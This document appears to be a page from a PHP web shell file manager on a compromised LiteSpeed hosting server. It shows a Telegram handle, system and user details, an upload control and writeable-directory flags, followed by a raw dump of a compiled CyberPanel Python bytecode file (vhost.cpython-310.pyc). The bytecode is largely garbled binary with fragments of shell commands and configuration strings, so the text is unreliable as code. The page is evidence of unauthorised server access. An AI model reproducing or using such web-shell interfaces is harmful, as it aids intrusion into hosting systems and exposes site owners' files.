https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /usr/local/CyberCP/plogical/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/CyberCP/plogical/__pycache__/vhost.cpython-310.pyc
o

��g���@s0ddlZddlZddlZddlZddlmZej�d�ej�	dd�ze�
�WnYddlZddlm
Z
ddlZddlZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZzddl m!Z!m"Z"m#Z#ddl$m%Z%WnYddl&Z&ddl'Z'Gdd�d�Z(dS)�N)�
ACLManager�/usr/local/CyberCP�DJANGO_SETTINGS_MODULEzCyberCP.settings)�installUtilities)�CyberCPLogFileWriter)�mysqlUtilities)�DNS)�randint)�ProcessUtilities)�
PHPManager)�
vhostConfs)�ApacheVhost)�Websites�ChildDomains�aliasDomains)�	Databasesc@s.eZdZdZdZdZedd��Zedd��Zedd	��Z	ed
d��Z
edd
��Zedd��Zedd��Z
edd��Zedd��Zedd��Zedd��Zed3dd��Zedd��Zedd ��Zed!d"��Zed#d$��Zed%d&��Zed'd(��Zed)d*��Zed+d,��Zed-d.��Zed/d0��Zed1d2��ZdS)4�vhostz/usr/local/lswsrz&/usr/local/lsws/conf/dvhost_redis.confc
Cs�z<ttjd�}tj�d�rd|�d|��}nd|�d|��}t�|�d|��}t�|�d|�d	|��}t�|�WdStyZ}ztj	�
t|��d
��WYd}~dSd}~ww)N�wz/etc/lsb-releasez*/usr/sbin/adduser --no-create-home --home z --disabled-login --gecos "" z/usr/sbin/adduser z -M -d z/usr/sbin/groupadd z/usr/sbin/usermod -a -G � z [addingUsers])�open�os�devnull�path�existsr
�executioner�
BaseException�loggingr�writeToFile�str)�virtualHostUserr�FNULL�command�msg�r#�$/usr/local/CyberCP/plogical/vhost.py�addUser,s


$��z
vhost.addUserc
Cs��z�ttjd�}zd}t�|�}tj||tjd�WnYz3t�|�d|�d|�d|��}t�|�}tj||tjd�d|��}t�|�}tj||tjd�Wnt	yn}	zt
j�t
|	�d�WYd}	~	nd}	~	wwzFt�|�t��tjks�t��tjkr�d	}
nd
}
d|�d|
�d|��}t�|�}tj||tjd�d|��}t�|�}tj||tjd�Wnt	y�}	zt
j�t
|	�d�WYd}	~	nd}	~	wwzPt�|�t��tjks�t��tjkr�d	}
nd
}
d
d|
|f}t�|�}tj||tjd�t��tjk�rd|��}nd|��}t�|�}tj||tjd�Wnt	�y?}	zt
j�t
|	�d�WYd}	~	nd}	~	wwztj�|��sMt�|�Wnt	�yk}	zt
j�t
|	�d�WYd}	~	nd}	~	wwz,t|d�}d|}t�|�}tj||tjd�d|��}t�|�}tj||tjd�Wnt�y�}	zt
j�t
|	�d�WYd}	~	nd}	~	wwddgWSt�y�}	zt
j�t
|	�d�dt
|	�gWYd}	~	Sd}	~	ww)Nrzchmod 711 /home��stdout�stderr�chown �:rz
chmod 711 zI [27 Not able create to directories for virtual host [createDirectories]]�nobody�nogroupz
chmod 750 zB [33 Not able to directories for virtual host [createDirectories]]zchown %s:%s %s�rootz
chmod -R 750 zB [39 Not able to directories for virtual host [createDirectories]]zB [45 Not able to directories for virtual host [createDirectories]]�w+zchown lsadm:lsadm z
chmod 600 z [createDirectories]]��Nonez [createDirectories])rrr�shlex�split�
subprocess�call�STDOUT�makedirs�OSErrorrrrrr
�decideDistro�centos�cent8�decideServer�OLSrr�IOErrorr)rr�pathHTML�pathLogs�confPath�completePathToConfigFiler r!�cmdr"�	groupName�filer#r#r$�createDirectoriesAs�





���




���




���
�
���



 ��
��zvhost.createDirectoriesc
Cs�zFttjd�}t�dd|�d��d|�d|�d|�d�}t�|�}tj||tj	d�t
j�d	�}d
|��}t�|�}tj||tj	d�WdStyc}zt
j�t|�d�WYd}~dSd}~ww)Nr�/usr/local/CyberCP/index.html�/home/z/public_html/index.htmlr)r*z /home/r&�/conf/vhosts�chown -R lsadm:lsadm z [finalizeVhostCreation])rrr�shutil�copyr1r2r3r4r5r�Server_rootrrrrr)�virtualHostNamerr r!rB�	vhostPathr"r#r#r$�finalizeVhostCreation�s


"��zvhost.finalizeVhostCreationcCs�tj�d�s
d}t�|�d|}d|d}d|d}tjd|}	|	d}
t�||�t�|||||	|
�}|ddkrDd|d	gSt�	|
|||||�d	krTd	d
gSddgS)Nz7/usr/local/lsws/Example/html/.well-known/acme-challengez@mkdir -p /usr/local/lsws/Example/html/.well-known/acme-challengerGz/public_html�/logs�
/conf/vhosts/�/vhost.confrr/r0zK[61 Not able to create per host virtual configurations [perHostVirtualConf])
rrrr
�normalExecutionerrrLr%rE�perHostVirtualConf)rM�administratorEmailr�
phpVersion�openBasedirr!rr>r?r@rA�resultr#r#r$�createDirectoryForVirtualHost�s
z#vhost.createDirectoryForVirtualHostc
Cs�t��tjkrmzHt|d�}t�|�}tj}|�d|�}|�d|�}|�d|�}|�d|�}|�d|�}|dkr>|�dd�}n|�dd�}|�	|�|�
�WdStyl}	ztj
�t|	�d	�WYd}	~	d
Sd}	~	wwz�tj�tj�s�t|d�}t�|�}tj}|�d|�}|�d|�}|�d
|�}|�d|�}|�	|�|�
�WdStj}|�d|�}|�d|�}|�d
|�}|�d|�d��}|�dtt�|�j��}|�dtt�|�j��}d|}
t�|
�tj}|�dd|�}|�d|�}|�d|�}|�d
|�}|�d|�d��}|�dtt�|�j��}|�dtt�|�j��}d|}
t�|
�WdSt�yL}	ztj
�t|	�d	�WYd}	~	d
Sd}	~	ww)Nr.�
{adminEmails}z{virtualHostUser}�{php}r/�{open_basedir}�,php_admin_value open_basedir "/tmp:$VH_ROOT"�z: [IO Error with per host config file [perHostVirtualConf]]r�{virtualHostName}�{administratorEmail}�
{externalApp}�PHP �{uid}�{gid}�redis-cli set %s�www.%sz{master}) r
r;r<rr�getPHPStringr�
olsMasterConf�replace�write�closerrrrrrrrr�	redisConf�lswsMasterConf�lswsRediConfMaster�lstrip�pwd�getpwnam�pw_uid�grp�getgrnam�gr_gidr�lswsRediConfMasterWWW)�vhFilerUrrVrMrW�confFile�php�currentConfr"r!r#r#r$rT�s|



���


!�


���zvhost.perHostVirtualConfc
Cs�zCtd���}tdd�}d|d|d}d}|D]&}|dkr;|�d�dkr;|�d	�dkr;|�|�|�|�d
}q|�|�qWdSty^}ztj�t|��WYd}~d
Sd}~ww)N�&/usr/local/lsws/conf/httpd_config.confr�  map                     r�
r/�listener����Defaultr)	r�	readlines�find�
writelinesrrrrr)rM�data�writeDataToFile�map�
mapchecker�itemsr"r#r#r$�createNONSSLMapEntry<s"
$

��zvhost.createNONSSLMapEntryc
Cst��tjkrPz(t�|�dkrddgWStdd�}tj}|�d|�}|�	|�|�
�ddgWStyO}ztj
�t|�d�ddgWYd}~Sd}~wwztd	d�}d
|d}|�|�|�
�|�
�ddgWSty�}ztj
�t|�d�ddgWYd}~Sd}~ww)Nr�FFailed to create NON SSL Map Entry [createConfigInMainVirtualHostFile]r{�ar_r/r0zH223 [IO Error with main config file [createConfigInMainVirtualHostFile]]�/usr/local/lsws/conf/httpd.conf�$Include /usr/local/lsws/conf/vhosts/�/vhost.conf
)r
r;r<rr�rr�olsMasterMainConfrirjrkrrrrrr�)rMr�rzr"�
configFiler#r#r$�!createConfigInMainVirtualHostFileSs:



��



���z'vhost.createConfigInMainVirtualHostFilec

Csdt��tjkr�z�ttj��tj���}t�	||�tjj
|d�}|j}tjj
|d�}|j��}|D]$}tj��tj��}t�	|j|�tj�d|j�rVt�d|j�q2t��dkrs|D]
}t�|j|j�q_|��t�|�tj�tj�st j �!�d|}t"�#t$�%|��t�&�tj'ks�t�&�tj(kr�d|}nd|}t�)|�d|}t�)|�d	|}tj�|�r�t�|�tj�d|�r�t�d|�WdSWdSt*y�}	zt+j,�-t|	�d
�WYd}	~	dSd}	~	wwz�ttj��tj���}t�	||�tjj
|d�}|j}d|j}t�.|�tjj
|d�}|j��}|D]}tj��tj��}t�	|j|��q&t��dk�rY|D]}t�|j|j��qD|��t�|�t j �!�d|}t"�#t$�%|��t�&�tj'k�szt�&�tj(k�rd|}nd|}t�)|�d|}t�)|�WdSt*�y�}	zt+j,�-t|	�d
�WYd}	~	dSd}	~	ww)
N��domain)�websitez/root/.acme.sh/%srzrm -rf /home/vmail/zuserdel -r -f %sz
deluser %szgroupdel %sz/home/cyberpanel/git/%s�N [Not able to remove virtual host configuration from main configuration file.]r/z /usr/sbin/cagefsctl --disable %s)/r
r;r<rr�objects�countrr�deleteCoreConf�get�externalAppr�filter�childdomains_set�allr�rrrrJ�rmtreer�FindIfChildr�deleteDatabase�dbName�dbUser�deleter�
deleteDNSZonerlr�reStartLiteSpeedr3r4r1r2r8r9r:rrrrrrS)
rM�
numberOfSites�
delWebsiter��	databases�childDomainsr�r!�gitPathr"r#r#r$�deleteVirtualHostConfigurationsus�
�





����




 

�
���z%vhost.deleteVirtualHostConfigurationsc
Cs�t��tjk�rz�d|}tj�|�rt�|�tj	d|}tj�|�r*t�|�t
d���}t
dd�}d}d}|D]�}|dkr�|�d|�dkrT|�d|�dkrTq;|�d|�dkrm|�d	�dksk|�d
�dkrmd}|�d�dkr}|�d
�dkr}d}|dkr�|dkr�|�
|�|�d�dkr�|dks�|dkr�d}d}q;|�d|�dkr�|�d|�dkr�q;|�d|�dkr�|�d	�dks�|�d
�dkr�d}|dkr�|�
|�|�d�dkr�|dkr�d}q;t�|�WdSt�y}	ztj�t|	�d�WYd}	~	dSd}	~	wwd|}zt�|�Wnt�y/}	ztj�t|	�d�WYd}	~	nd}	~	wwtj�tj��s�ztj	d|}t�|�Wnt�yc}	ztj�t|	�d�WYd}	~	nd}	~	wwz+t
d���}t
dd�}|D]}|�d|d�dk�r��qr|�
|��qr|��WdSt�y�}	ztj�t|	�d�WYd}	~	dSd}	~	wwd|}
t�|
�d|}
t�|
�dS)NrGrQr{rr/rrr|�virtualHost�virtualhostrr~�SSL�}r�zD [Not able to remove virtual host directory from /home continuing..]zF [Not able to remove virtual host configuration directory from /conf ]r��/zredis-cli delete "vhost:%s"zredis-cli delete "vhost:www.%s")r
r;r<rrrrJr�rrLrr�r�r�r
�DeleteApacheVhostrrrrrrlrkr)rMr��virtualHostPathr@r�r��check�sslCheckr�r"r!r#r#r$r�s�


$.
�$.
��
���
���
���

�
���
zvhost.deleteCoreConfcCstj�d|�r
dSdS)NrGr/r)rrr)rMr#r#r$�checkIfVirtualHostExistscszvhost.checkIfVirtualHostExistsc
Cs�ddlm}|�d�d}t|�ztjj|d�}|j}Wntjj|d�}|j	j}Y|}t
j�d|�d|���ddl
m}|�d|�}d	|�d�d
}	t��tjk�r+z�t�||�dkr�t|d���}
t�|�}tj�dt|�d
�s�tdd�ddgWSt|d�}dt|�d}
t
j�d|
���|
D]}|�d�dkr�|�d�dkr�|�|
�q�|�|�q�|��d||	f}t� |�t!j!�"�z
d||	f}t� |�WnYnt
j�d�t�|�}t�#|�}d|��}t� |�td�WdSt$�y*}zt
j�t|�d�tdt|��dt|�dgWYd}~Sd}~wwz�tj�t%j&��s�t|d���}
t�|�}tj�dt|�d
��sWtdd�ddgWSt|d�}dt|�d}|
D]}|�d�dk�rw|�|��qf|�|��qf|��t|	d�}|��t!j!�"�zt�'|	�Wn3Yn.d |�d�d
}t�(|�}ddl)}|�*d!d"|�+d#�|�}d$|�d�d
|f}t�,|�td�WdSt$�y�}zt
j�t|�d%�tdt|��dt|�d%gWYd}~Sd}~ww)&Nr)�Pathr��r�z5PHP version before making sure its available or not: z
 and vhFile: )�phpUtilitiesz/home/%s/.lsphp_restart.txt����rz/usr/local/lsws/lsphpz
/bin/lsphpz5This PHP version is not available on your CyberPanel.zB[This PHP version is not available on your CyberPanel. [changePHP]rz/  path                    /usr/local/lsws/lsphpz/bin/lsphp
zPHP String to be written rrzsudo -u %s touch %szsudo -u %s rm -f %szapache vhost 1zsystemctl restart z1,None)r/r0z0 [IO Error with per host config file [changePHP]z&    AddHandler application/x-httpd-phpz .php
zAddHandler application/x-httpdzredis-cli get "vhost:%s"z"phpVersion": .*,z"phpVersion": %s,rbzredis-cli set vhost:%s '%s'�1 [IO Error with per host config file [changePHP]])-�pathlibr�r2�printrr�r�r�r�masterrrr�plogical.phpUtilitiesr��<FindIfSaidPHPIsAvaiableOtherwiseMaketheNextOneAvailableToUser
r;r<r
�	changePHPrr�rrgrrrrr�r�rkrSrr��DecideFPMServiceNamerrrl�remove�outputExecutioner�re�subror)rwrVr�r�r�r��childrr��phpDetachUpdatePathr�ryr�rr�r!�
phpServicer"�finalStringr�
configDatar�r#r#r$r�is�












���








���zvhost.changePHPNc
CsBzWdSty }ztj�t|�d�WYd}~dSd}~ww)Nr�rr/)rrrrr)rM�fileNamer"r#r#r$�addRewriteRules�s���zvhost.addRewriteRulesc
Csbz|D]
}|�d�dkrWdSqWdSty0}ztj�t|�d�WYd}~dSd}~ww)Nz	.htaccessrr/rz= [IO Error with per host config file [checkIfRewriteEnabled]])r�rrrrr)r�r�r"r#r#r$�checkIfRewriteEnabled�s�
���zvhost.checkIfRewriteEnabledc	
Cs�z�d|d|d}tj�d|d�std�WdSd|}tj�|�s-td�WdStj�|�r�z/t|���}t|d�d	��}tt|�d
�}|dkrQd}td�t|�}t|�t|�}Wntd�YWdS|d
krtd}tt	|�dt	|��t	|�t	|�fWStd�WdSt
y�}ztj�
t	|�d�td�WYd}~dSd}~wty�}ztj�
t	|�d�td�WYd}~dSd}~ww)NrGz/logs/z.access_logrPz0,0)rrz/home/cyberpanel/%s.bwmetarr}g0Ai?B�dgY@�,z [findDomainBW])rrrr�rr��int�strip�floatrr7rrr�
ValueError)	�
domainName�totalAllowedr�bwmetar��currentUsed�inMB�
percentager"r#r#r$�findDomainBW�sL���zvhost.findDomainBWc
C�Zzd|}t�|�}t�|�}WdSty,}ztj�t|��WYd}~dSd}~ww)Nz%sudo chown -R  cyberpanel:cyberpanel �	r1r2r3r4rrrrr�rr!rB�resr"r#r#r$�permissionControl+s
��zvhost.permissionControlc
Cr�)Nzsudo chown -R  root:root r�r�r#r#r$�leaveControl4s
��zvhost.leaveControlc
Cs<z
tjj|d�}WdSty}zWYd}~dSd}~ww)N)�aliasDomainr/r)rr�r�r)r��aliasr"r#r#r$�checkIfAliasExists@s��zvhost.checkIfAliasExistsc
Cshz|D]}|�d��d�|krWdSqWdSty3}ztj�t|�d�WYd}~dSd}~ww)Nr�r}r/rz  [checkIfSSLAliasExists])r�rrrrr)r�r�r�r"r#r#r$�checkIfSSLAliasExistsHs���zvhost.checkIfSSLAliasExistsc
Csznt|d���}t|d�}d}|D]Q}|�d�dkrd}|�|�dkr]|�d�dkr]|dkr]dd	�|�d
�D�}|d|kr\t�||�dkrW|�|�d�d|d�d}q|�|�q|�|�q|��t	j	�
�WdSty�}ztj
�t|�d
�WYd}~dSd}~ww)Nr�rrzlistener SSLrr/r�cSsg|]}|r|�qSr#r#)�.0�_fr#r#r$�
<listcomp>asz+vhost.createAliasSSLMap.<locals>.<listcomp>rr}z, z  [createAliasSSLMap])rr�r�r2rr�r��rstriprkrr�rrrrr)r@�masterDomainr�r�rr�r�r"r#r#r$�createAliasSSLMapTs,
$
�"��zvhost.createAliasSSLMapc	
Cszbt��ttdd��}dd|f}ttjd�}t�d|�d|d|d	|}t	�
|�}tj||tj
d
�d|||f}t�|�t�|�tjd}d
|}t	�
|�}tj||tj
d
�WdSty}ztj�t|�d�WYd}~dSd}~ww)N���'z%s/%sz/usr/local/CyberCP/tmprrFr)r*rr&zsudo -u %s cp %s %s/index.htmlrHrIz [finalizeDomainCreation])r�CreateSecureDirrr	rrrrJrKr1r2r3r4r5r
rSr�rrLrrrr)	rr�RanddomFileName�FullPathr r!rBrNr"r#r#r$�finalizeDomainCreationss(




"��zvhost.finalizeDomainCreationc
Cs�ttjd�}tjd|}|d}	zBd||f}
t�|
�t��tjks+t��tj	kr.d}nd}d|||||f}
t�|
�d||f}
t
�|
�}tj
||tjd	�Wntyo}
ztj�t|
�d
�WYd}
~
nd}
~
wwzt�|�Wnty�}
ztj�t|
�d�WYd}
~
nd}
~
wwzt|	d�}Wnty�}
ztj�t|
�d
�WYd}
~
nd}
~
wwt�||||	||||�dkr�ddgS	ddgS)NrrQrRzsudo -u %s mkdir %sr+r,zsudo -g %s -u %s chown %s:%s %szsudo -u %s chmod 750 %sr&zP329 [Not able to create directories for virtual host [createDirectoryForDomain]]zP335 [Not able to create directories for virtual host [createDirectoryForDomain]]r.z [createDirectoryForDomain]]r/r0)rrrrrLr
rSr8r9r:r1r2r3r4r5r7rrrrr6r=�perHostDomainConf)r�r�rVrrUrrWr r@rAr!rCrBr"rDr#r#r$�createDirectoryForDomain�sT



���
��� ����zvhost.createDirectoryForDomainc
Cst��tjkr�zct�|�}|ttdd��}	tj}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|	�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|d	krT|
�	d
d�}
n|
�	d
d�}
t
|d
�}|�|
�|��Wd	St
y�}ztj�t|�d�WYd}~dSd}~wwz�tj�tj�s�t
|d
�}t�|�}tj}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|�|
�|��Wd	Stj}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�d��}
|
�	dtt�|�j��}
|
�	dtt�|�j��}
d|
}
t�|
�tj }
|
�	dd|�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�}
|
�	d|�d��}
|
�	dtt�|�j��}
|
�	dtt�|�j��}
d|
}
t�|
�Wd	St
�y�}ztj�t|�d�WYd}~dSd}~ww)Nr�r�z{path}�{masterDomain}rZraz{externalAppMaster}r[r/r\r]r^r.z9 [IO Error with per host config file [perHostDomainConf]]rr_r`rbrcrdrerf)!r
r;r<rrgrr	r�olsChildConfrirrjrkrrrrrrrrrl�
lswsChildConf�lswsRediConfChildrorprqrrrsrtrur�lswsRediConfChildWWW)rr�r�rwrUrVrrWryr�rzrxr"r!r#r#r$r��s�



�
���



(�
�
���zvhost.perHostDomainConfc
Cs t��tjkrVz.t�|�dkrddgWStdd�}tj}|�d|�}|�d|�}|�	|�|�
�ddgWStyU}ztj
�t|�d	�dd	gWYd}~Sd}~wwztd
d�}d|d}|�|�|�
�ddgWSty�}ztj
�t|�d	�dd	gWYd}~Sd}~ww)
Nrr�r{r�r_r�r/r0zG223 [IO Error with main config file [createConfigInMainDomainHostFile]]r�r�r�)r
r;r<rr�rr�olsChildMainConfrirjrkrrrrrr�)r�r�r�rzr"r�r#r#r$� createConfigInMainDomainHostFile(s>




���



���z&vhost.createConfigInMainDomainHostFile)N)�__name__�
__module__�__qualname__rL�
cyberPanelrl�staticmethodr%rErOrYrTr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r#r#r#r$r&sf

i

!
Y

!

\

z	

/





 
6
\r))r�os.path�sys�django�plogical.aclrr�append�environ�
setdefault�setuprJ�plogicalrr3r1rr�plogical.mysqlUtilitiesr�plogical.dnsUtilitiesr�randomr	�plogical.processUtilitiesr
�managePHP.phpManagerr�plogical.vhostConfsr�ApachController.ApacheVhostsr
�websiteFunctions.modelsrrr�databases.modelsrrprsrr#r#r#r$�<module>s>

https://t.me/RX1948 - 2025